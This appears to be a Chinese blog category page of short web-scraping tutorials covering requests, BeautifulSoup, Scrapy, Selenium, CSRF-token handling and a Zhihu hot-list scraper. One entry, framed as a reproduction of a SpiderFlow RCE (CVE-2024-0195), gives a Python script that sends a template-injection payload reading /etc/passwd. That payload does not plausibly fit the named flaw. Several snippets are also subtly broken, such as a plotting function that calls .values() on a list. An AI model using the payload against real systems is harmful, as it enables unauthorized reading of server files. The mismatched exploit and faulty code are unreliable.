分类爬虫下的文章

2024-08-16

由于原始问题没有提供具体的逆向js脚本和需要解决的问题，我将给出一个通用的逆向js脚本解析和处理的例子。

假设我们有以下简单的逆向加密的JavaScript代码：




function reverseEncrypt(text) {
    return text.split('').reverse().join('');
}
 
var encryptedText = reverseEncrypt('hello world');
console.log(encryptedText); // olleh dlrow

要解决这个问题，我们需要找到加密方法的逆运算，即正向运算。这个例子中，正向运算就是将字符串的顺序颠倒，即：




function reverseDecrypt(text) {
    return text.split('').reverse().join('');
}
 
var decryptedText = reverseDecrypt('olleh dlrow');
console.log(decryptedText); // hello world

在实际的网络爬虫场景中，我们可能需要处理更复杂的加密和解密，可能会涉及到AES, RSA, MD5, SHA等加密算法，或者涉及到更复杂的执行环境和混淆代码。这时，我们可能需要使用专业的逆向工具或者进行手动逆向分析。

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2024-08-16

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由于篇幅所限，这里提供一个简化版的代码实例，展示如何使用Python爬取社交媒体用户信息的核心函数。请注意，实际的应用场景中，你需要处理好身份验证、反爬机制、速率限制等问题，并遵守相关的法律法规和服务条款。




import requests
 
# 模拟登录Twitter并获取用户信息
def get_twitter_user_info(username):
    # 这里需要实现具体的登录流程和用户信息获取
    pass
 
# 获取Instagram用户信息
def get_instagram_user_info(username):
    # 这里需要实现具体的用户信息获取
    pass
 
# 获取Facebook用户信息
def get_facebook_user_info(username):
    # 这里需要实现具体的用户信息获取
    pass
 
# 获取Twitter用户发布的帖子和评论
def get_twitter_user_posts(username):
    # 这里需要实现具体的帖子和评论获取
    pass
 
# 获取Instagram用户发布的帖子和图片评论
def get_instagram_user_posts(username):
    # 这里需要实现具体的帖子和评论获取
    pass
 
# 获取Facebook用户发布的帖子和评论
def get_facebook_user_posts(username):
    # 这里需要实现具体的帖子和评论获取
    pass
 
# 示例用户名
twitter_username = 'twitter'
instagram_username = 'instagram'
facebook_username = 'facebook'
 
# 获取用户信息
twitter_user_info = get_twitter_user_info(twitter_username)
instagram_user_info = get_instagram_user_info(instagram_username)
facebook_user_info = get_facebook_user_info(facebook_username)
 
# 获取用户发布的内容
twitter_posts = get_twitter_user_posts(twitter_username)
instagram_posts = get_instagram_user_posts(instagram_username)
facebook_posts = get_facebook_user_posts(facebook_username)
 
# 处理获取到的数据
# ...
 
# 注意：以上代码只是一个简化的示例，实际的爬虫逻辑需要完整实现，并且需要处理各种反爬措施。

在实际应用中，你需要对每个社交媒体网站的API和反爬机制有深入了解，并且可能需要使用代理、用户会话维持、图像文字识别等技术。这个例子只展示了如何定义函数并调用它们，实际的爬虫逻辑需要你根据每个网站的API文档来编写。

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深入了解Python各爬虫库的选择

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2024-08-16

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在Python中，爬虫库有很多，常用的有requests、BeautifulSoup、Scrapy等。

requests
requests库是一个简单易用的HTTP库，可以用来发送HTTP请求。




import requests
 
response = requests.get('https://www.example.com')
print(response.text)

BeautifulSoup
BeautifulSoup是一个用于解析HTML和XML文件的库，可以用它来从HTML中提取数据。




from bs4 import BeautifulSoup
 
html_doc = """
<html>
<head>
<title>The Dormouse's story</title>
</head>
<body>
<p class="title"><b>The Dormouse's story</b></p>
</body>
</html>
"""
 
soup = BeautifulSoup(html_doc, 'html.parser')
print(soup.title.text)

Scrapy
Scrapy是一个用于爬取网站并提取结构化数据的Python库，它是一个用于爬取网站的高级库。




import scrapy
 
class MySpider(scrapy.Spider):
    name = 'example.com'
    allowed_domains = ['example.com']
    start_urls = ['http://www.example.com/']
 
    def parse(self, response):
        for title in response.css('.title'):
            yield {'title': title.css('a ::text').get()}

选择哪个库取决于你的需求，如果你需要简单快速地抓取少量数据，可以使用requests+BeautifulSoup。如果你需要更高级的功能，如分布式爬取、更好的性能和更多的功能，可以选择Scrapy。

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Python 网络爬虫

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2024-08-16

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import requests
from bs4 import BeautifulSoup
 
def get_html(url):
    """发送HTTP请求，获取网页内容"""
    try:
        response = requests.get(url)
        if response.status_code == 200:
            return response.text
        else:
            return "页面无法访问"
    except requests.RequestException:
        return "发生错误"
 
def parse_html(html):
    """解析网页，提取有效信息"""
    soup = BeautifulSoup(html, 'html.parser')
    # 假设我们要提取所有的段落文本
    paragraphs = soup.find_all('p')
    return [p.get_text() for p in paragraphs]
 
def main():
    url = "https://example.com"  # 替换为你想爬取的网页
    html = get_html(url)
    paragraphs = parse_html(html)
    for p in paragraphs:
        print(p)
 
if __name__ == "__main__":
    main()

这段代码展示了如何使用Python的requests库发送HTTP请求以获取网页内容，并使用BeautifulSoup库解析HTML，提取所有段落文本。在实际应用中，你需要根据目标网站的结构调整解析代码，以提取你需要的数据。

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基于selenium的简单爬虫示例

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2024-08-16

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from selenium import webdriver
from selenium.webdriver.common.keys import Keys
 
# 创建WebDriver对象，指定使用Chrome浏览器
driver = webdriver.Chrome()
 
# 打开一个页面
driver.get("http://www.python.org")
 
# 找到页面上的搜索框元素
search_box = driver.find_element_by_name("q")
 
# 清除搜索框中的内容并输入新的内容
search_box.clear()
search_box.send_keys("Selenium")
 
# 提交搜索
search_box.send_keys(Keys.RETURN)
 
# 等待页面加载完成
from selenium.webdriver.common.by import By
from selenium.webdriver.support.ui import WebDriverWait
from selenium.webdriver.support import expected_conditions as EC
wait = WebDriverWait(driver, 10)
wait.until(EC.presence_of_element_located((By.ID, "result_logo")))
 
# 关闭浏览器
driver.close()

这段代码使用了Selenium WebDriver来打开Python官网，在搜索框中输入"Selenium"，并提交搜索。然后等待搜索结果出现，并在加载完成后关闭浏览器。这是一个简单的爬虫示例，展示了如何使用Selenium进行基本的网页操作。

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基于Python的网络爬虫设计与实现

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2024-08-16

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import requests
from bs4 import BeautifulSoup
 
def download_webpage(url):
    """下载指定URL的网页内容"""
    try:
        response = requests.get(url)
        if response.status_code == 200:
            return response.text
        else:
            return None
    except requests.exceptions.RequestException:
        return None
 
def parse_webpage(html_content):
    """解析网页内容，提取有效信息"""
    soup = BeautifulSoup(html_content, 'html.parser')
    # 假设我们要提取所有的段落文本
    paragraphs = soup.find_all('p')
    return [p.get_text() for p in paragraphs]
 
def main():
    url = 'https://example.com'  # 替换为你要爬取的网页地址
    html_content = download_webpage(url)
    if html_content:
        parsed_data = parse_webpage(html_content)
        for paragraph in parsed_data:
            print(paragraph)
    else:
        print("Failed to download webpage")
 
if __name__ == '__main__':
    main()

这段代码展示了如何使用Python的requests库下载网页内容，以及如何使用BeautifulSoup库解析HTML并提取所需信息。这是一个简单的网络爬虫示例，可以根据实际需求进行功能扩展和优化。

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2024-08-16

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在Python3中，使用requests库进行网络爬虫时，可以通过以下步骤获取CSRF-Token、处理Token过期以及自动处理CSRF-Token：

获取初始页面的CSRF-Token：
使用requests库发送一个GET请求来获取HTML页面，然后使用BeautifulSoup库来解析HTML，提取CSRF-Token。




import requests
from bs4 import BeautifulSoup
 
response = requests.get('http://example.com')
soup = BeautifulSoup(response.text, 'html.parser')
csrf_token = soup.find('meta', {'name': 'csrf-token'})['content']
print(csrf_token)

处理Token过期：
如果Token过期，服务器通常会返回一个错误，表明需要一个新的CSRF-Token。在这种情况下，重新获取一个新的Token。
自动处理CSRF-Token：
在发送POST或PUT等修改数据的请求时，将CSRF-Token作为请求头的一部分发送。




headers = {
    'X-CSRF-Token': csrf_token,
    # 其他请求头
}
data = {
    # 表单数据
}
response = requests.post('http://example.com/submit', headers=headers, data=data)

如果服务器返回一个错误，提示CSRF-Token无效或过期，你需要重新获取一个新的Token，并在下次请求中使用它。

注意：在实际应用中，处理CSRF保护可能还需要考虑其他安全因素，如Cookie管理、Session跟踪等。

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SpiderFlow爬虫平台前台RCE漏洞复现(CVE-2024-0195）

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2024-08-16

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复现CVE-2024-0195漏洞，需要具备以下条件：

安装有Python环境。
安装requests库。
对SpiderFlow平台有基本的了解。

以下是一个简单的Python脚本，用于尝试利用该RCE漏洞：




import requests
 
# 目标SpiderFlow平台的URL
url = "http://your-spider-flow-platform-url"
 
# 利用RCE漏洞的payload
payload = """
{% set my_dict = {'k1': 'v1', 'k2': 'v2'} %}
{{ [].__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read() }}
"""
 
headers = {
    'User-Agent': 'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)',
    'Content-Type': 'application/x-www-form-urlencoded',
    'Cookie': 'session=your-spider-flow-session-cookie'
}
 
# 尝试发送带有Jinja2模板注入的请求
response = requests.post(url, data=payload, headers=headers)
 
if response.status_code == 200:
    print("请求成功，应答如下：")
    print(response.text)
else:
    print("请求失败，状态码：", response.status_code)

请注意，这个脚本仅用于验证漏洞存在，不得用于未授权访问他人计算机或其他非法目的。实际利用时应确保遵守所有适用的法律法规。

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2024-08-16

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from fake_useragent import UserAgent
from lxml import etree
import requests
 
# 获取随机的User-Agent
def get_random_ua():
    return UserAgent().random
 
# 使用requests和lxml下载页面并解析
def download_parse_page(url):
    headers = {'User-Agent': get_random_ua()}
    response = requests.get(url, headers=headers)
    if response.status_code == 200:
        return etree.HTML(response.text)
    else:
        return None
 
# 示例使用
url = 'https://example.com'
parsed_page = download_parse_page(url)
if parsed_page:
    # 使用XPath选择器选择页面元素
    xpath_selector = '//title'
    title = parsed_page.xpath(xpath_selector)[0].text
    print(title)
else:
    print("页面下载失败")

这段代码使用了fake_useragent库来生成随机的User-Agent，使用requests库来发送带有User-Agent的HTTP请求，使用lxml的etree来解析页面并使用XPath选择器提取页面信息。这是一个简单的示例，展示了如何在Python中使用这些工具来创建基本的网络爬虫。

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【爬虫实战】2024知乎热榜可视化爬取

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2024-08-16

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import requests
from bs4 import BeautifulSoup
import pandas as pd
import matplotlib.pyplot as plt
 
# 设置请求头，模拟浏览器访问
headers = {
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3',
    'Accept-Encoding': 'gzip, deflate',
    'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
    'Upgrade-Insecure-Requests': '1'
}
 
# 请求网页
def get_html(url):
    try:
        response = requests.get(url, headers=headers)
        if response.status_code == 200:
            return response.text
        return None
    except requests.RequestException:
        return None
 
# 解析网页，提取热榜数据
def parse_html(html):
    soup = BeautifulSoup(html, 'lxml')
    ranks = soup.find_all(class_='HotItemList-itemTitle')
    rank_list = []
    for rank in ranks:
        rank_list.append(rank.text)
    return rank_list
 
# 保存数据
def save_data(data, filename):
    with open(filename, 'w', encoding='utf-8') as f:
        for item in data:
            f.write(item + '\n')
 
# 读取数据
def read_data(filename):
    with open(filename, 'r', encoding='utf-8') as f:
        data = f.readlines()
    return [item.strip() for item in data]
 
# 可视化热榜数据
def visualize(data):
    plt.figure(figsize=(20, 10))
    plt.title('2024年知乎热榜', fontsize=20)
    plt.xlabel('排名', fontsize=16)
    plt.ylabel('话题', fontsize=16)
    plt.tick_params(labelsize=16)
    plt.barh(range(len(data)), list(data.values()), align='center')
    plt.yticks(list(data.keys()), list(data.values()))
    plt.show()
 
# 主函数
def main():
    url = 'https://www.zhihu.com/hot'
    html = get_html(url)
    rank_list = parse_html(html)
    # save_data(rank_list, 'zhihu_hot_topics.txt')
    # rank_list = read_data('zhihu_hot_topics.txt')
    visualize(rank_list)
 
if __name__ == '__main__':
    main()

这段代码实现了知乎热榜的爬取和可视化。首先，我们设置了请求头，以模拟浏览器访问知乎网站。然后，我们定义了get_html函数来发送请求并获取网页内容。parse_html函数用于解析网页，提取热榜话题并返回列表。最后，我们定义了save_data和read_data函数来保存和读取数据，以及visualize函数来绘制热榜的水平条形图，并在主函数main中调用这些函数。

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